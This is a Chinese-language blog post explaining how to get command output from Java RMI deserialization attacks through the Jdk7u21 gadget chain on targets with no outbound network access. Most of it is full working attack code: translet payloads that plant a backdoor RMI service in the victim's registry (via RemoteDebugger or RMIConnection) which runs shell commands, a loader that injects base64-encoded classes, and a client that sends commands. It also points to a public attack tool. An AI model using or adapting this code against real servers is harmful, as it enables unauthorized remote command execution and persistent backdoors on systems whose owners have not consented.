java反序列之Jdk7u21回显

使用场景

以前在打RMI反序列化的时候都是用的CC、CB利用链实现报错回显,很好使。
之前在做一次项目的时候发现了目标存在RMI反序列化漏洞,系统为Windows,无DNS不出网。
通过延时探测出只存在Jdk7u21利用链。

RMI回显

打目标时依然尝试使用老方法回显,Jdk7u21 + 报错回显,发现一直没回显。平时自己Jdk7u21利用链用得比较少,大概了解Jdk7u21最后的利用也是通过Templatesimpl#newTransformer方法实现代码执行,只能去看代码分析下失败的原因。

Jdk7u21利用链也是利用的AnnotationInvocationHandler动态代理,通过HashSet触发到代理handler的equal方法,最终到
sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;

for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}

可以发现在在invoke反射调用templatesimpl#newTransformer方法时,捕获了异常。当捕获InvocationTargetException异常时返回了false,捕获IllegalAccessException异常时,继续向上抛了异常。

在反射过程中,反射所调用的方法中出现未被捕获的异常时,就会抛出InvocationTargetException异常,所以这里通过templatesimpl执行任意代码抛出任意异常(包括IllegalAccessException)回显,只能进入return false的分支,最终无法实现异常回显。

搞清楚了无法通过异常回显的原因后,接着就开始寻思其他的解决方案,首先能想到的就是参考weblogic的T3/IIOP回显,绑定一个服务到registry上。

在T3回显中,服务类实现了ClusterMasterRemote接口再绑定到registry,不过ClusterMasterRemote是Weblogic中自带的类不适用我们的场景。
这时候去得去jdk里找一个继承了java.rmi.Remote的接口,为了比较简单的传递命令和返回命令结果,参数类型和返回类型都为String方便一点。
翻了一会,只找到了一个符合要求的接口,sun.jvm.hotspot.debugger.remote.RemoteDebugger。

1
2
3
4
public interface RemoteDebugger extends Remote {
...........
String consoleExecuteCommand(String var1) throws RemoteException;
}

然后定义一个类实现这个接口,最后暴露实现类最后绑定到registry,本地直接绑定成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.jvm.hotspot.debugger.MachineDescription;
import sun.jvm.hotspot.debugger.ReadResult;
import sun.jvm.hotspot.debugger.remote.RemoteDebugger;
import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIBindService2 extends AbstractTranslet implements RemoteDebugger {

public RMIBindService2() throws RemoteException {
try {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
UnicastRemoteObject.exportObject(this, 0);
registry.rebind("hhhh", this);
}catch(Exception e){
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

@Override
public String getOS() throws RemoteException {
return null;
}

@Override
public String getCPU() throws RemoteException {
return null;
}

@Override
public MachineDescription getMachineDescription() throws RemoteException {
return null;
}

@Override
public long lookupInProcess(String s, String s1) throws RemoteException {
return 0;
}

@Override
public ReadResult readBytesFromProcess(long l, long l1) throws RemoteException {
return null;
}

@Override
public boolean hasConsole() throws RemoteException {
return false;
}

@Override
public String getConsolePrompt() throws RemoteException {
return null;
}

@Override
public String consoleExecuteCommand(String command) throws RemoteException {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}

String[] cmds = isLinux ? new String[]{"sh", "-c", command} : new String[]{"cmd.exe", "/c", command};
java.io.InputStream in = null;
try {
in = Runtime.getRuntime().exec(cmds).getInputStream();
} catch (IOException e) {
e.printStackTrace();
}
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
String output = s.next();
return output;
}

@Override
public long getJBooleanSize() throws RemoteException {
return 0;
}

@Override
public long getJByteSize() throws RemoteException {
return 0;
}

@Override
public long getJCharSize() throws RemoteException {
return 0;
}

@Override
public long getJDoubleSize() throws RemoteException {
return 0;
}

@Override
public long getJFloatSize() throws RemoteException {
return 0;
}

@Override
public long getJIntSize() throws RemoteException {
return 0;
}

@Override
public long getJLongSize() throws RemoteException {
return 0;
}

@Override
public long getJShortSize() throws RemoteException {
return 0;
}

@Override
public long getHeapOopSize() throws RemoteException {
return 0;
}

@Override
public long getNarrowOopBase() throws RemoteException {
return 0;
}

@Override
public int getNarrowOopShift() throws RemoteException {
return 0;
}

@Override
public long getKlassPtrSize() throws RemoteException {
return 0;
}

@Override
public long getNarrowKlassBase() throws RemoteException {
return 0;
}

@Override
public int getNarrowKlassShift() throws RemoteException {
return 0;
}

@Override
public boolean areThreadsEqual(long l, boolean b, long l1, boolean b1) throws RemoteException {
return false;
}

@Override
public int getThreadHashCode(long l, boolean b) throws RemoteException {
return 0;
}

@Override
public long[] getThreadIntegerRegisterSet(long l, boolean b) throws RemoteException {
return new long[0];
}
}

但是在打目标时却失败了,隐约能感觉出是因为目标环境中RemoteDebugger的问题。

1
2
3
4
5
    try {
Class.forName("sun.jvm.hotspot.debugger.remote.RemoteDebugger");
} catch (ClassNotFoundException e) {
Thread.currentThread().sleep(10000L);
}

用sleep验证了下,发现目标RemoteDebuggerg还真有问题。

为了解决这个问题,直接分别defineClass生成三个类,继承Remote的接口、实现类、触发绑定registry方法的类,用这方法打目标倒是成功了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class RMIBind extends AbstractTranslet {

public RMIBind() throws Exception {

ClassLoader cl = Thread.currentThread().getContextClassLoader();
Method method = ClassLoader.class.getDeclaredMethod("defineClass", new Class[] { byte[].class, int.class, int.class });
method.setAccessible(true);

byte[] bytesImpl = Base64.decode("yv66vgAAADEADgcACgcACwcADAEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACkV4Y2VwdGlvbnMHAA0BAApTb3VyY2VGaWxlAQAXdHJpZ2dlckJpbmRFeGVjT2JqLmphdmEBAAxCaW5kRXhlY0ltcGwBABBqYXZhL2xhbmcvT2JqZWN0AQAPamF2YS9ybWkvUmVtb3RlAQATamF2YS9pby9JT0V4Y2VwdGlvbgYAAAEAAgABAAMAAAABBAEABAAFAAEABgAAAAQAAQAHAAEACAAAAAIACQ==");
byte[] bytesService = Base64.decode("yv66vgAAADEAUAoAFQAjCAAkCgAlACYKAAcAJwgAKAoABwApBwAqCAArCAAsCAAtCAAuCgAvADAKAC8AMQoAMgAzBwA0CgAPADUIADYKAA8ANwoADwA4BwA5BwA6BwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACkV4Y2VwdGlvbnMHAD4BAApTb3VyY2VGaWxlAQAXdHJpZ2dlckJpbmRFeGVjT2JqLmphdmEMABkAGgEAB29zLm5hbWUHAD8MAEAAHgwAQQBCAQADd2luDABDAEQBABBqYXZhL2xhbmcvU3RyaW5nAQACc2gBAAItYwEAB2NtZC5leGUBAAIvYwcARQwARgBHDAAdAEgHAEkMAEoASwEAEWphdmEvdXRpbC9TY2FubmVyDAAZAEwBAAJcYQwATQBODABPAEIBAAtCaW5kRXhlY09iagEAEGphdmEvbGFuZy9PYmplY3QBAA9qYXZhL3JtaS9SZW1vdGUBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEADEJpbmRFeGVjSW1wbAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAAgABQAFQADABYAFwAYAAAAAgAAABkAGgABABsAAAAdAAEAAQAAAAUqtwABsQAAAAEAHAAAAAYAAQAAAA0AAQAdAB4AAgAbAAAApgAEAAgAAABuBD0SArgAA04txgARLbYABBIFtgAGmQAFAz0cmQAYBr0AB1kDEghTWQQSCVNZBStTpwAVBr0AB1kDEgpTWQQSC1NZBStTOgS4AAwZBLYADbYADjoFuwAPWRkFtwAQEhG2ABI6BhkGtgATOgcZB7AAAAABABwAAAAmAAkAAAAQAAIAEQAIABIAGAATABoAFgBHABcAVAAYAGQAGQBrABoAHwAAAAQAAQAgAAEAIQAAAAIAIg==");
byte[] bytesTrigger = Base64.decode("yv66vgAAADEAKAoACgASCAATCgAUABUHABYKAAQAEgoAFwAYCwAZABoHABsHABwHAB0BAAY8aW5pdD4BABYoTGphdmEvbGFuZy9TdHJpbmc7SSlWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMBAApTb3VyY2VGaWxlAQAXdHJpZ2dlckJpbmRFeGVjT2JqLmphdmEMAAsAHgEACTEyNy4wLjAuMQcAHwwAIAAhAQALQmluZEV4ZWNPYmoHACIMACMAJAcAJQwAJgAnAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEnRyaWdnZXJCaW5kRXhlY09iagEAEGphdmEvbGFuZy9PYmplY3QBAAMoKVYBACBqYXZhL3JtaS9yZWdpc3RyeS9Mb2NhdGVSZWdpc3RyeQEAC2dldFJlZ2lzdHJ5AQAxKExqYXZhL2xhbmcvU3RyaW5nO0kpTGphdmEvcm1pL3JlZ2lzdHJ5L1JlZ2lzdHJ5OwEAI2phdmEvcm1pL3NlcnZlci9VbmljYXN0UmVtb3RlT2JqZWN0AQAMZXhwb3J0T2JqZWN0AQAlKExqYXZhL3JtaS9SZW1vdGU7SSlMamF2YS9ybWkvUmVtb3RlOwEAGmphdmEvcm1pL3JlZ2lzdHJ5L1JlZ2lzdHJ5AQAGcmViaW5kAQAmKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL3JtaS9SZW1vdGU7KVYAIQAJAAoAAAAAAAEAAQALAAwAAgANAAAAZgADAAYAAAAqKrcAARICHLgAA067AARZtwAFOgQZBAO4AAZXLSsZBLkABwMApwAFOgWxAAEAGwAkACcACAABAA4AAAAiAAgAAAAgAAQAIgALACMAFAAkABsAJgAkACkAJwAnACkAKwAPAAAABAABAAgAAQAQAAAAAgAR");

Class cService = null;
Class cImpl = null;
Class cTrigger = null;

try{
cImpl = cl.loadClass("BindExecImpl");
}catch(Exception e){
cImpl = (Class)method.invoke(cl, bytesImpl, 0, bytesImpl.length);
}


try{
cService = cl.loadClass("BindExecObj");
}catch(Exception e){
cService = (Class)method.invoke(cl, bytesService, 0, bytesService.length);
}

try{
cTrigger = cl.loadClass("triggerBindExecObj");
}catch(Exception e){
cTrigger = (Class)method.invoke(cl, bytesTrigger, 0, bytesTrigger.length);
}

try {
Constructor ct = cTrigger.getDeclaredConstructor(new Class[]{String.class, int.class});
ct.newInstance(new Object[]{"scl1ent-scheduler-Administrator", 1099});
}catch(Exception e){
System.out.println(e);
}

}


@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

项目结束后,感觉这方法略微麻烦,得优化一下。
RemoteDebugger来源于JAVA_HOME/lib/sa-jdi.jar,

本地idea运行的时候自动把JAVA_HOME/lib下的所有jar包加入到了classpath中,然而在默认的配置中sa-jdi不会在classpath中,也不会被JVM默认加载,导致了目标无法使用。

那么只要从rt.jar里找一个其他的接口就能解决这个问题了,双String只找到了RemoteDebugger,那么就降低标准,现在只要找到其中一个是String的就行。

1
2
3
4
5
6
7
8
package javax.management.remote.rmi;

public interface RMIConnection extends Closeable, Remote {
.....................................
public String getDefaultDomain(Subject delegationSubject)
throws IOException;
.....................................
}

getDefaultDomain方法参数类型不是String,返回类型是String。
参数类型是javax.security.auth.Subject类,只要Subject类中存在一个String类型的属性用它来传递命令即可。

1
2
3
Set<Principal> principals;
transient Set<Object> pubCredentials;
transient Set<Object> privCredentials;

虽然不存在直接的String属性,不过也影响不大。pubCredentials、privCredentials属性被transient关键字修饰,无法被序列化,那么只能用principals属性。

principals属性是Principal接口对象的集合,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.sun.security.auth;
public class UnixPrincipal implements Principal, java.io.Serializable {
private static final long serialVersionUID = -2951667807323493631L;

/**
* @serial
*/
private String name;

public UnixPrincipal(String name) {
if (name == null) {
java.text.MessageFormat form = new java.text.MessageFormat
(sun.security.util.ResourcesMgr.getString
("invalid.null.input.value",
"sun.security.util.AuthResources"));
Object[] source = {"name"};
throw new NullPointerException(form.format(source));
}

this.name = name;
}

}

UnixPrincipal实现了Principal接口,并且存在String属性name,直接通过构造方法设置即可。

最后利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import javax.management.*;
import javax.management.remote.NotificationResult;
import javax.management.remote.rmi.RMIConnection;
import javax.security.auth.Subject;
import java.io.IOException;
import java.rmi.MarshalledObject;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
import java.security.Principal;
import java.util.Set;

public class RMIBindService extends AbstractTranslet implements RMIConnection {

public RMIBindService() throws RemoteException {
try {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
UnicastRemoteObject.exportObject(this, 0);
registry.rebind("MonitorService", this);
}catch(Exception e){
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

@Override
public String getConnectionId() throws IOException {
return null;
}

@Override
public void close() throws IOException {

}

@Override
public ObjectInstance createMBean(String className, ObjectName name, Subject delegationSubject) throws ReflectionException, InstanceAlreadyExistsException, MBeanRegistrationException, MBeanException, NotCompliantMBeanException, IOException {
return null;
}

@Override
public ObjectInstance createMBean(String className, ObjectName name, ObjectName loaderName, Subject delegationSubject) throws ReflectionException, InstanceAlreadyExistsException, MBeanRegistrationException, MBeanException, NotCompliantMBeanException, InstanceNotFoundException, IOException {
return null;
}

@Override
public ObjectInstance createMBean(String className, ObjectName name, MarshalledObject params, String[] signature, Subject delegationSubject) throws ReflectionException, InstanceAlreadyExistsException, MBeanRegistrationException, MBeanException, NotCompliantMBeanException, IOException {
return null;
}

@Override
public ObjectInstance createMBean(String className, ObjectName name, ObjectName loaderName, MarshalledObject params, String[] signature, Subject delegationSubject) throws ReflectionException, InstanceAlreadyExistsException, MBeanRegistrationException, MBeanException, NotCompliantMBeanException, InstanceNotFoundException, IOException {
return null;
}

@Override
public void unregisterMBean(ObjectName name, Subject delegationSubject) throws InstanceNotFoundException, MBeanRegistrationException, IOException {

}

@Override
public ObjectInstance getObjectInstance(ObjectName name, Subject delegationSubject) throws InstanceNotFoundException, IOException {
return null;
}

@Override
public Set<ObjectInstance> queryMBeans(ObjectName name, MarshalledObject query, Subject delegationSubject) throws IOException {
return null;
}

@Override
public Set<ObjectName> queryNames(ObjectName name, MarshalledObject query, Subject delegationSubject) throws IOException {
return null;
}

@Override
public boolean isRegistered(ObjectName name, Subject delegationSubject) throws IOException {
return false;
}

@Override
public Integer getMBeanCount(Subject delegationSubject) throws IOException {
return null;
}

@Override
public Object getAttribute(ObjectName name, String attribute, Subject delegationSubject) throws MBeanException, AttributeNotFoundException, InstanceNotFoundException, ReflectionException, IOException {
return null;
}

@Override
public AttributeList getAttributes(ObjectName name, String[] attributes, Subject delegationSubject) throws InstanceNotFoundException, ReflectionException, IOException {
return null;
}

@Override
public void setAttribute(ObjectName name, MarshalledObject attribute, Subject delegationSubject) throws InstanceNotFoundException, AttributeNotFoundException, InvalidAttributeValueException, MBeanException, ReflectionException, IOException {

}

@Override
public AttributeList setAttributes(ObjectName name, MarshalledObject attributes, Subject delegationSubject) throws InstanceNotFoundException, ReflectionException, IOException {
return null;
}

@Override
public Object invoke(ObjectName name, String operationName, MarshalledObject params, String[] signature, Subject delegationSubject) throws InstanceNotFoundException, MBeanException, ReflectionException, IOException {
return null;
}

@Override
public String getDefaultDomain(Subject delegationSubject) throws IOException {

Set<Principal> p = delegationSubject.getPrincipals();
String command = p.iterator().next().getName();
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}

String[] cmds = isLinux ? new String[]{"sh", "-c", command} : new String[]{"cmd.exe", "/c", command};
java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
String output = s.next();
return output;
}

@Override
public String[] getDomains(Subject delegationSubject) throws IOException {
return new String[0];
}

@Override
public MBeanInfo getMBeanInfo(ObjectName name, Subject delegationSubject) throws InstanceNotFoundException, IntrospectionException, ReflectionException, IOException {
return null;
}

@Override
public boolean isInstanceOf(ObjectName name, String className, Subject delegationSubject) throws InstanceNotFoundException, IOException {
return false;
}

@Override
public void addNotificationListener(ObjectName name, ObjectName listener, MarshalledObject filter, MarshalledObject handback, Subject delegationSubject) throws InstanceNotFoundException, IOException {

}

@Override
public void removeNotificationListener(ObjectName name, ObjectName listener, Subject delegationSubject) throws InstanceNotFoundException, ListenerNotFoundException, IOException {

}

@Override
public void removeNotificationListener(ObjectName name, ObjectName listener, MarshalledObject filter, MarshalledObject handback, Subject delegationSubject) throws InstanceNotFoundException, ListenerNotFoundException, IOException {

}

@Override
public Integer[] addNotificationListeners(ObjectName[] names, MarshalledObject[] filters, Subject[] delegationSubjects) throws InstanceNotFoundException, IOException {
return new Integer[0];
}

@Override
public void removeNotificationListeners(ObjectName name, Integer[] listenerIDs, Subject delegationSubject) throws InstanceNotFoundException, ListenerNotFoundException, IOException {

}

@Override
public NotificationResult fetchNotifications(long clientSequenceNumber, int maxNotifications, long timeout) throws IOException {
return null;
}
}

通过Jdk7u21利用链执行以上代码,当然所有能够执行代码的Gadget都能通过这种方式回显。

1
2
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
UnicastRemoteObject.exportObject(this, 0);

这里需要注意一下,ip填写127.0.0.1不填写公网ip。
registry限制只能localhost bind,这里相当于在目标机器执行代码往它自己registry中绑定,1099就填写正确的rmi registry端口即可。

使用exportObject暴露服务时,如果目标不存在安全组等其他策略填0即可,为0时会在一个随机端口暴露。如果存在安全策略,那么可以尝试绑定到80,443等常见端口上,能够访问的几率更大一点。

最后调用远程方法实现回显。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

import com.sun.security.auth.LdapPrincipal;
import com.sun.security.auth.UnixPrincipal;
import sun.jvm.hotspot.debugger.remote.RemoteDebugger;

import javax.management.remote.rmi.RMIConnection;
import javax.security.auth.Subject;
import java.lang.reflect.Field;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashSet;
import java.util.Set;

public class RMIClient {
public static void main(String[] args) throws Exception {

String command = "id";
Registry registry = LocateRegistry.getRegistry("ip",port);

// for(String x:registry.list()){
// System.out.println(x);
// }

Subject subject = new Subject();
Field f = subject.getClass().getDeclaredField("principals");
f.setAccessible(true);
Set set = new HashSet();
UnixPrincipal unixPrincipal = new UnixPrincipal(command);
set.add(unixPrincipal);
f.set(subject, set);

System.out.println(((RMIConnection)registry.lookup("MonitorService")).getDefaultDomain(subject));

}
}

利用工具

https://github.com/A-D-Team/attackRmi

利用lookup registry触发的反序列,比起bind能多打一些版本,无需出网无需落地文件。
目前只支持了CommonsCollections、CommonsBeanutils、Jdk7u21利用链,后续再更新利用链和看看是否要支持绕JEP290的那些方法。

众所周知,RMI服务客户端服务端可以双向攻击,为了解决这个问题,工具里没有依赖CommonsCollections、CommoneBeanutils包,把一些核心类给抽取了出来并且改了一些反序列化所需要的方法。